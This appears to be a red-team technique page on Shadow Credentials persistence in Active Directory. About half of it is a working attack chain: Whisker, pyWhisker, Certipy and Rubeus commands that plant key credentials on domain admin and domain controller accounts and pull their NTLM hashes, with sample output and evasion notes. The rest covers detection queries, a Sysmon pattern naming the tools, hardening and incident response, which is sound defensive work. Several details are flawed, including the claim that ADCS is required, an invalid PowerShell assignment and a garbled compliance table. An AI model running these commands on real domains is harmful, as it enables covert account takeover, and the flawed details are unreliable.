| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-002 |
| Technique Name | Shadow Credentials Backdoor |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Persistence (TA0003) |
| Platforms | Windows Active Directory (On-Premises), Hybrid AD/Entra ID |
| Severity | CRITICAL |
| CVE | N/A (Feature abuse, not a vulnerability) |
| Technique Status | ACTIVE – Verified working on Server 2016+ with PKINIT support |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016 – 2025 (requires PKINIT-capable DC); Does NOT work on Server 2008 R2 or older |
| Patched In | Not patched – This abuses legitimate Windows Hello for Business feature. Mitigation requires audit configuration and access control hardening. |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Shadow Credentials is an advanced persistence technique that exploits the legitimate Windows Hello for Business (WHfB) feature by injecting malicious key credentials into a user or computer account’s msDS-KeyCredentialLink LDAP attribute. This attribute was introduced in Windows Server 2016 and is used to store public keys for passwordless authentication. An attacker with the ability to modify this attribute (via DACL write permissions: GenericAll, GenericWrite, WriteProperty, or AllExtendedRights) can add their own key credential. Once added, the attacker can authenticate as the target account using Kerberos PKINIT without knowing the password. Critically, shadow credentials survive password resets and MFA bypass, making them an exceptionally stealthy long-term persistence mechanism. Unlike standard group membership-based backdoors, shadow credentials are certificate-based and difficult to detect without specific attribute monitoring.
Attack Surface: The msDS-KeyCredentialLink attribute on user or computer objects. Default DACL allows only the object owner and Key Admins to modify this attribute, but misconfigurations (overly permissive DACLs) or compromised accounts with write permissions can enable exploitation.
Business Impact: Undetectable passwordless access to critical accounts indefinitely. An attacker maintains a backdoor that persists even after password resets, account disablement, or MFA enrollment. They can impersonate the target account, extract its NTLM hash via PKINIT, escalate to domain admin, exfiltrate data, or deploy ransomware. Shadow credentials are particularly dangerous because they bypass traditional password-based detection systems and remain hidden unless specifically audited.
Technical Context: Requires domain controllers with PKINIT support (Server 2016+) and Active Directory Certificate Services (ADCS) to be present in the environment. Exploitation takes < 5 minutes once the attacker has write access to the target account’s LDAP object. Shadow credentials do NOT authenticate immediately; they persist until activated by the attacker, allowing them to maintain a low profile between attacks.
msDS-KeyCredentialLink attribute (domain admin level or delegated permissions). If the domain lacks ADCS, this technique will not work.msDS-KeyCredentialLink require specific audit rules to log (not enabled by default). Even with auditing, the events blend in with legitimate WHfB enrollment traffic. Detecting shadow creds requires parsing binary attribute data or monitoring for random DeviceIDs.| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.2.2.2 | Configure audit on sensitive AD attributes; restrict modification of msDS-KeyCredentialLink. | | DISA STIG | WN19-AU-000161 | Enable audit policy “Audit Directory Service Changes” (Event 5136) with attribute-level SACL. | | CISA SCuBA | AC-6(2) | Least Privilege – Restrict write permissions to user/computer objects to only authorized admins. | | NIST 800-53 | AC-3, AC-6, AU-2 | Access Enforcement, Least Privilege, Audit of sensitive attribute modifications. | | GDPR | Art. 32 | Security of Processing – Protect authentication mechanisms and credential integrity. | | DORA | Art. 9 | Protection and Prevention – Requires continuous monitoring of authentication systems. | | NIS2 | Art. 21(1)(d) | Cyber Risk Management – Control access to authentication and identity systems. | | ISO 27001 | A.9.2.1, A.9.2.4 | User Authentication Credentials – Manage and protect authentication mechanisms. | | ISO 27005 | Risk Scenario | “Compromise of Authentication Credentials” – Direct attack on credential integrity. |
msDS-KeyCredentialLink attribute on the target user or computer account. This includes:
GenericAll, GenericWrite, WriteProperty, or AllExtendedRights DACL on the target objectSupported Versions:
# Verify that domain controllers support PKINIT
# Query domain controllers for krbtgt certificate
$Domain = (Get-ADDomain).DNSRoot
$DCs = (Get-ADDomainController -Filter *).HostName
foreach ($DC in $DCs) {
Write-Host "Checking PKINIT support on $DC..."
$certs = Get-ADObject -Filter "CN='$DC'" -Properties * | Select-Object -ExpandProperty userCertificate
if ($certs) {
Write-Host "✓ $DC supports PKINIT (certificate found)" -ForegroundColor Green
} else {
Write-Host "✗ $DC does NOT support PKINIT" -ForegroundColor Red
}
}
What to Look For:
# Enumerate Certificate Authorities in the domain
$CAObjects = Get-ADObject -Filter "ObjectClass -eq 'pKIEnrollmentService'" -Properties *
if ($CAObjects.Count -gt 0) {
Write-Host "✓ ADCS is deployed ($($CAObjects.Count) CA(s) found)" -ForegroundColor Green
$CAObjects | Select-Object Name, DistinguishedName, cn
} else {
Write-Host "✗ ADCS not detected in this domain" -ForegroundColor Red
Write-Host " Shadow Credentials attack will NOT work without ADCS" -ForegroundColor Yellow
}
What to Look For:
$CAObjects.Count > 0, ADCS is deployed and shadow credentials are viable# View existing key credentials on target account
$TargetUser = "domain_admin_account"
$UserObject = Get-ADUser -Identity $TargetUser -Properties msDS-KeyCredentialLink
if ($UserObject.'msDS-KeyCredentialLink') {
Write-Host "Target account has existing key credentials:" -ForegroundColor Cyan
# The attribute is binary; use DSInternals for detailed parsing
# Install: Install-Module DSInternals
Import-Module DSInternals
$UserObject.'msDS-KeyCredentialLink' | Get-ADKeyCredential
} else {
Write-Host "✓ msDS-KeyCredentialLink is empty (no WHfB or shadow creds detected)" -ForegroundColor Green
}
What to Look For:
# Verify current user can write to target account
$TargetUserDN = (Get-ADUser -Identity $TargetUser).DistinguishedName
$TargetUserPath = "AD:\$TargetUserDN"
# Get current user SID
$CurrentUserSID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
# Check ACL
$ACL = Get-ACL -Path $TargetUserPath
$WritePermissions = $ACL.Access | Where-Object {
($_.IdentityReference -eq $CurrentUserSID -or $_.IdentityReference -match (whoami)) -and
($_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty|AllExtendedRights")
}
if ($WritePermissions) {
Write-Host "✓ Current user CAN modify $TargetUser" -ForegroundColor Green
} else {
Write-Host "✗ Current user CANNOT modify $TargetUser" -ForegroundColor Red
}
What to Look For:
Supported Versions: Server 2016 – 2025
Objective: Obtain the Whisker exploitation tool for Shadow Credentials abuse.
Command:
# Download Whisker from GitHub
$whiskerURL = "https://github.com/eladshamir/Whisker/releases/download/v1.4.0/Whisker.exe"
Invoke-WebRequest -Uri $whiskerURL -OutFile "Whisker.exe"
# Verify file is present
Get-Item Whisker.exe | Format-Table Name, Length
Expected Output:
Name Length
---- ------
Whisker.exe 25600
What This Means:
OpSec & Evasion:
Troubleshooting:
Invoke-WebRequest : The request was blocked by the web filtering service
Cannot find file Whisker.exe
References & Proofs:
Objective: Inject a malicious key credential into the target user/computer account’s msDS-KeyCredentialLink attribute.
Command (Targeting a User Account):
# Add shadow credential for a domain admin user
.\Whisker.exe add /target:domain_admin /domain:yourdomain.local
# Expected output shows:
# - New key credential added
# - rubeus command to request TGT
Command (Targeting a Computer Account - Privilege Escalation):
# Add shadow credential for a computer account (e.g., Domain Controller)
.\Whisker.exe add /target:SERVER01$ /domain:yourdomain.local
# The $ suffix indicates a computer account (machine account)
Expected Output:
[*] Creating new key credential for SERVER01$
[*] Generating key pair...
[*] Adding credential to account...
[*] Successfully added shadow credential to SERVER01$
[+] Rubeus command to request TGT:
rubeus.exe asktgt /user:SERVER01$ /certificate:MIIDaDCC...truncated.../password:""
What This Means:
msDS-KeyCredentialLink attributeMIIDa... string is the base64-encoded certificate; Whisker has generated a certificate that can be used for PKINIT authenticationOpSec & Evasion:
msDS-KeyCredentialLink auditing is enabled, this is logged immediatelyTroubleshooting:
Cannot access attribute msDS-KeyCredentialLink
No PKINIT-capable DC found
Add operation failed: Target account not found
Get-ADUser -Identity TARGET_NAME or Get-ADComputer -Identity TARGET_NAMEReferences & Proofs:
Objective: Use the injected credential to authenticate as the target account and extract its NTLM hash.
Command (Using Rubeus - Extract NTLM Hash):
# Use the certificate output from Whisker to request a TGT and retrieve NTLM hash
# Method A: Direct hash extraction via U2U (Kerberos-to-Kerberos)
# First, request a TGT for the target account
rubeus.exe asktgt /user:domain_admin /certificate:"[CERTIFICATE_FROM_WHISKER]" /password:"" /domain:yourdomain.local /dc:dc1.yourdomain.local
# This outputs a TGT and may include the NTLM hash
Command (Using Certipy - Cleaner Output):
# Certipy automatically handles PKINIT authentication and hash extraction
# Assuming the certificate is saved as admin_shadow.pfx
certipy-ad auth -pfx admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10
Expected Output (Rubeus):
[+] Ticket saved to ticket.kirbi
[+] NTLM hash: 8846F7EAEE8FB117AD06BDD830B7586C
[+] TGT Requested. TGT will expire at 2025-01-16 15:42:00 UTC
Expected Output (Certipy):
Certipy v4.3.0 - by ly4k
[*] Using certificate from admin_shadow.pfx
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to get NT hash...
[*] Got NT hash: 8846F7EAEE8FB117AD06BDD830B7586C
[*] TGT Saved to admin_shadow.ccache
What This Means:
OpSec & Evasion:
Troubleshooting:
Kerberos pre-authentication failed
NT hash extraction failed
Permission denied when requesting certificate
References & Proofs:
Objective: Demonstrate that the shadow credential persists even after password changes or account modifications.
Command (Re-authenticate Days Later):
# Days later, attacker can still use the same shadow credential
# No password change or account lockout will invalidate it
# Assuming the PFX certificate is stored securely by attacker
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local
# This will still work, proving persistence
Write-Host "✓ Shadow credential is PERSISTENT: Access maintained despite password resets"
What This Means:
OpSec & Evasion:
Troubleshooting:
Certificate revoked or expired
certipy cert -pfx file.pfx)Shadow credential was removed
References & Proofs:
Supported Versions: Server 2016 – 2025 (Linux-to-Windows attack)
# On Linux/Mac attacker machine
pip install pywhisker
# Or clone and install manually
git clone https://github.com/ShutdownRepo/pywhisker.git
cd pywhisker
pip install -r requirements.txt
# Basic usage
pywhisker -d "yourdomain.local" -u "attacker_user" -p "attacker_password" \
--target "domain_admin_account" --action add
# With NTLM hash instead of password
pywhisker -d "yourdomain.local" -u "attacker_user" -hashes "NTHASH:NTHASH" \
--target "domain_admin_account" --action add
Expected Output:
[*] Connecting to DC yourdomain.local...
[+] Successfully connected
[*] Generating key pair...
[+] Shadow credential added: 550e8400-e29b-41d4-a716-446655440000
[+] Certificate saved: domain_admin_shadow.pfx
[+] Use with: certipy auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local
# Authenticate using the injected shadow credential
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10
# Extract NT hash
certipy-ad auth -pfx domain_admin_shadow.pfx -username domain_admin -domain yourdomain.local -dc-ip 192.168.1.10 | grep "NTLM"
Supported Versions: Server 2016 – 2025
# This performs all steps in one command, then cleans up
# Perfect for quick red team operations with minimal artifacts
certipy-ad shadow auto -u "attacker_user@yourdomain.local" -p "password" -dc-ip 192.168.1.10 -account "domain_admin"
# Output includes:
# - Shadow credential added
# - TGT obtained
# - NTLM hash extracted
# - Shadow credential removed (cleaned up)
What This Means:
Trade-off: Attack leaves no persistent backdoor, so if access is lost, attacker must repeat the exploitation (if they still have write access to the account).
Alternative: Use the exploitation commands in Method 1-3 directly as live testing.
URL: Whisker GitHub
Version: 1.4.0+ (current as of 2025)
Minimum Version: 1.0
Supported Platforms: Windows (x86, x64)
Installation:
# Download compiled binary
wget "https://github.com/eladshamir/Whisker/releases/download/v1.4.0/Whisker.exe"
# Or compile from source (requires .NET Framework 4.5+)
git clone https://github.com/eladshamir/Whisker.git
cd Whisker
msbuild Whisker.sln /t:Build /p:Configuration=Release
Usage (Main Commands):
# Add shadow credential
Whisker.exe add /target:AccountName /domain:yourdomain.local
# List existing credentials
Whisker.exe list /target:AccountName
# Remove specific credential by ID
Whisker.exe remove /target:AccountName /DeviceID:550e8400-e29b-41d4-a716-446655440000
# Clear all credentials
Whisker.exe clear /target:AccountName
URL: pyWhisker GitHub
Version: Latest (2025)
Minimum Version: 1.0
Supported Platforms: Windows, Linux, macOS (Python 3.7+)
Installation:
pip install pywhisker
Usage:
# Add shadow credential
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action add
# List credentials
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action list
# Remove credential
pywhisker -d "domain.local" -u "user" -p "password" --target "TARGET" --action remove --device-id GUID
URL: Certipy GitHub
Version: 4.3.0+ (current as of 2025)
Minimum Version: 4.0
Supported Platforms: Linux, macOS, Windows (Python 3.8+)
Installation:
pip install certipy-ad
Usage (Shadow Commands):
# Add shadow credential
certipy-ad shadow add -u "user@domain" -p "password" -account "target"
# List shadow credentials
certipy-ad shadow list -u "user@domain" -p "password" -account "target"
# Authenticate with shadow credential
certipy-ad auth -pfx certificate.pfx -username "target" -domain "domain.local"
# Automated one-liner (add, auth, remove)
certipy-ad shadow auto -u "user@domain" -p "password" -account "target"
URL: Rubeus GitHub
Version: 1.6.4+
Installation:
# Download compiled binary or build from source
https://github.com/GhostPack/Rubeus/releases
Usage (PKINIT Authentication):
# Request TGT with certificate
rubeus.exe asktgt /user:TargetAccount /certificate:base64_cert /password:"" /domain:yourdomain.local /dc:DC_IP
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, ObjectDN, AttributeLDAPDisplayNamemsDS-KeyCredentialLink (high sensitivity)SPL Query:
index=wineventlog sourcetype="WinEventLog:Security" EventCode=5136
AttributeLDAPDisplayName="msDS-KeyCredentialLink"
| stats count by ObjectDN, User, Computer, _time
| where count > 0
| convert ctime(_time)
What This Detects:
Manual Configuration Steps:
Alert when number of events is greater than 0False Positive Analysis:
User NOT IN ("SYSTEM", "SVC_WHFBSync")Rule Configuration:
AuditLogs, SecurityEventEventID, AttributeLDAPDisplayName, ObjectDNKQL Query:
union SecurityEvent, AuditLogs
| where EventID == 5136 or OperationName == "Modify"
| where EventData contains "msDS-KeyCredentialLink" or AttributeLDAPDisplayName == "msDS-KeyCredentialLink"
| extend TargetAccount = case(
EventID == 5136, extract(@"CN=([^,]+)", 1, ObjectDN),
OperationName == "Modify", tostring(TargetResources[0].displayName),
""
)
| where TargetAccount in ("Domain Admins", "Enterprise Admins", "Schema Admins")
or TargetAccount like "*admin*"
or TargetAccount like "*DC*"
| project TimeGenerated, EventID, TargetAccount, User, Computer, Activity
| sort by TimeGenerated desc
What This Detects:
msDS-KeyCredentialLink on any account with “admin” or “DC” in the nameManual Configuration Steps (Azure Portal):
Shadow Credentials Added to Admin AccountsCritical5 minutes1 hourAttributeLDAPDisplayName == "msDS-KeyCredentialLink"Manual Configuration Steps (Enable msDS-KeyCredentialLink Auditing):
By default, Event 5136 does NOT log changes to msDS-KeyCredentialLink. You must explicitly add an audit rule:
# 1. First, obtain the schema GUID for msDS-KeyCredentialLink
# GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063
# 2. Import Set-AuditRule module
Import-Module ActiveDirectory
iwr -Uri "https://raw.githubusercontent.com/OTRF/Set-AuditRule/master/Set-AuditRule.ps1" -OutFile Set-AuditRule.ps1
. .\Set-AuditRule.ps1
# 3. Apply audit rule to the entire domain
Set-AuditRule -AdObjectPath 'AD:\DC=yourdomain,DC=local' `
-WellKnownSidType WorldSid `
-Rights WriteProperty,GenericWrite `
-InheritanceFlags All `
-AttributeGUID "5b47d60f-6090-40b2-9f37-2a4de88f3063" `
-AuditFlags Success,Failure
Write-Host "✓ msDS-KeyCredentialLink auditing enabled for all objects"
What to Monitor:
AttributeLDAPDisplayName = "msDS-KeyCredentialLink"Minimum Sysmon Version: 10.0+
Sysmon is less useful for detecting LDAP modifications directly. However, if an attacker uses PowerShell or command-line tools to execute shadow credentials attacks, Sysmon can detect process creation:
Sysmon Config (Detect Whisker/pyWhisker/Certipy Execution):
<Sysmon schemaversion="4.70">
<EventFiltering>
<!-- Capture process creation for Whisker, pyWhisker, Certipy -->
<ProcessCreate onmatch="include">
<Image condition="contains any">Whisker.exe;pywhisker;certipy</Image>
<CommandLine condition="contains any">shadow;msDS-KeyCredentialLink;--action add</CommandLine>
</ProcessCreate>
<!-- Detect PowerShell execution of shadow credential tools -->
<ProcessCreate onmatch="include">
<ParentImage condition="image">powershell.exe</ParentImage>
<CommandLine condition="contains any">
Add-ADKeyCredential;
Set-ADUser;
-Properties msDS-KeyCredentialLink
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-Service Sysmon64Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Alert Name: Suspicious certificate-based authentication
Severity: Critical
Description: Alerts when a user or computer authenticates via PKINIT with an unusual or suspicious certificate
Applies To: Defender for Servers + Defender for Identity enabled
Manual Configuration Steps:
Note: Shadow Credentials is on-premises only. Purview Unified Audit Log (M365) does not track on-premises AD changes. Use Windows Security Event Log and Sentinel instead.
Applies To Versions: Server 2016 – 2025
Manual Steps (PowerShell):
# Import required modules
Import-Module ActiveDirectory
# Download and import Set-AuditRule
iwr -Uri "https://raw.githubusercontent.com/OTRF/Set-AuditRule/master/Set-AuditRule.ps1" -OutFile Set-AuditRule.ps1
. .\Set-AuditRule.ps1
# Apply audit rule to root domain
Set-AuditRule -AdObjectPath 'AD:\DC=yourdomain,DC=local' `
-WellKnownSidType WorldSid `
-Rights GenericWrite,WriteProperty `
-InheritanceFlags All `
-AttributeGUID "5b47d60f-6090-40b2-9f37-2a4de88f3063" `
-AuditFlags Success,Failure
Write-Host "✓ Auditing enabled for msDS-KeyCredentialLink on all objects"
Verification:
# Verify audit rule is applied
Get-ADObject -Identity "DC=yourdomain,DC=local" -Properties *audit* |
Select-Object Name, *audit*
# Should show audit rules for attribute GUID 5b47d60f-6090-40b2-9f37-2a4de88f3063
Applies To Versions: All
Manual Steps (Limit Key Admins Group):
# Get current members of Key Admins group
Get-ADGroupMember -Identity "Key Admins"
# Remove unnecessary members
Remove-ADGroupMember -Identity "Key Admins" -Members "service_account_name" -Confirm:$false
# Only highly trusted admins should be in this group
Write-Host "✓ Pruned Key Admins membership"
Manual Steps (Restrict on Individual Accounts):
# Remove WriteProperty permissions on sensitive accounts
$AdminAccount = Get-ADUser -Identity "domain_admin"
$AdminPath = "AD:\$($AdminAccount.DistinguishedName)"
$ACL = Get-ACL -Path $AdminPath
# Remove GenericWrite/WriteProperty from non-essential principals
$ACL.Access | Where-Object {
$_.IdentityReference -notmatch "SYSTEM|Administrators|Domain Admins|Key Admins"
} | ForEach-Object {
Write-Warning "Removing overly permissive ACE: $($_.IdentityReference)"
$ACL.RemoveAccessRule($_)
}
Set-ACL -Path $AdminPath -AclObject $ACL
Write-Host "✓ Restricted write permissions on $($AdminAccount.Name)"
Applies To Versions: All
Manual Steps (Monthly Baseline):
# Export all accounts with existing key credentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object { $_.'msDS-KeyCredentialLink' } |
Select-Object SamAccountName, DistinguishedName, @{
Name = "KeyCredentialCount"
Expression = { if ($_.'msDS-KeyCredentialLink') { 1 } else { 0 } }
} |
Export-Csv -Path "C:\Baseline_KeyCredentials_$(Get-Date -Format 'yyyyMM').csv"
Write-Host "✓ Baseline exported to C:\Baseline_KeyCredentials_*.csv"
Quarterly Review:
# Compare current state to baseline
$CurrentCreds = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object { $_.'msDS-KeyCredentialLink' } |
Select-Object SamAccountName
$Baseline = Import-Csv "C:\Baseline_KeyCredentials_202501.csv"
$Differences = Compare-Object -ReferenceObject $Baseline.SamAccountName -DifferenceObject $CurrentCreds.SamAccountName
if ($Differences) {
Write-Warning "⚠ NEW KEY CREDENTIALS DETECTED!"
$Differences | Where-Object { $_.SideIndicator -eq "=>" }
}
Manual Steps:
gpmc.msc)gpupdate /force on affected systemsResult: If WHfB is not used, shadow credentials become easy to detect (any msDS-KeyCredentialLink on user accounts = suspicious).
Manual Steps (Entra ID Conditional Access):
Protect Admins from Unusual Cert AuthResult: Unusual PKINIT authentication from unexpected locations or clients is blocked.
Manual Steps (Detect Random DeviceIDs):
# Check if shadow credentials have device IDs that match real Azure AD devices
Import-Module AzureAD
Connect-AzureAD
$ADUsers = Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object { $_.'msDS-KeyCredentialLink' }
foreach ($User in $ADUsers) {
# Parse msDS-KeyCredentialLink for DeviceID
# Compare to Azure AD device list
# Alert if device ID doesn't exist in Azure AD
}
AttributeLDAPDisplayName = "msDS-KeyCredentialLink" and Operation = "Value Added"KeyCredentialGuard entries with random Device IDs (not matching Azure AD devices)Disk (Event Logs):
C:\Windows\System32\winevt\Logs\Security.evtx – Event 5136 (attribute modification), Event 4768 (PKINIT auth)C:\Windows\System32\winevt\Logs\Directory Service.evtx – Detailed DS changes (if enabled)Memory (Active Directory Database):
C:\Windows\NTDS\ntds.dit – Contains msDS-KeyCredentialLink attribute for all accountsNetwork (Kerberos/LDAP Traffic):
# Find all shadow credentials on sensitive accounts
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object { $_.'msDS-KeyCredentialLink' } |
Select-Object SamAccountName, DistinguishedName
# Remove shadow credentials from all accounts
$AffectedAccounts = @("domain_admin", "enterprise_admin", "server01$")
foreach ($Account in $AffectedAccounts) {
$User = Get-ADUser -Identity $Account -Properties msDS-KeyCredentialLink
$User.msDS-KeyCredentialLink = $null
Set-ADUser -Instance $User
Write-Host "✓ Removed shadow credentials from $Account"
}
# Export all Event ID 5136 entries related to msDS-KeyCredentialLink
$PDC = (Get-ADDomain).PDCEmulator
wevtutil epl security C:\Evidence\Security_$PDC.evtx /remote:$PDC
# Export all accounts with historical key credential data
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Export-Csv -Path "C:\Evidence\All_KeyCredentials.csv"
Write-Host "✓ Evidence collected"
# Force password resets for all admin accounts
@("Domain Admins", "Enterprise Admins", "Schema Admins") | ForEach-Object {
Get-ADGroupMember -Identity $_ -Recursive |
Where-Object { $_.ObjectClass -eq "user" } |
ForEach-Object {
# Generate temporary password
$TempPassword = ([char[]]([char]33..[char]126) | Sort-Object {Get-Random})[0..31] -join ''
Set-ADAccountPassword -Identity $_.SamAccountName -Reset -NewPassword (ConvertTo-SecureString $TempPassword -AsPlainText -Force)
Write-Host "✓ Password reset for $($_.SamAccountName)"
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial foothold via phishing |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Escalate to account with write to msDS-KeyCredentialLink |
| 3 | Persistence (Current) | [PERSIST-ACCT-002] | Inject shadow credentials for stealthy long-term access |
| 4 | Lateral Movement | [LM-AUTH-003] Pass-the-Certificate | Use PKINIT certificate to authenticate as target |
| 5 | Impact | [CA-DUMP-002] DCSync | Use persistence to dump all domain hashes |
# Add shadow credential with Whisker
.\Whisker.exe add /target:domain_admin /domain:yourdomain.local
# Authenticate and extract hash
certipy-ad auth -pfx admin.pfx -username domain_admin -domain yourdomain.local
Get-ADUser -Identity domain_admin -Properties msDS-KeyCredentialLink
# Remove all shadow credentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object { $_.'msDS-KeyCredentialLink' } |
ForEach-Object { Set-ADUser $_ -Clear msDS-KeyCredentialLink }
# Continuous monitoring for new shadow credentials
while ($true) {
Get-WinEvent -FilterHashtable @{
LogName = "Security"
ID = 5136
StartTime = (Get-Date).AddMinutes(-5)
} | Where-Object { $_.Message -like "*msDS-KeyCredentialLink*" } |
ForEach-Object { Write-Warning "ALERT: $_" }
Start-Sleep -Seconds 300
}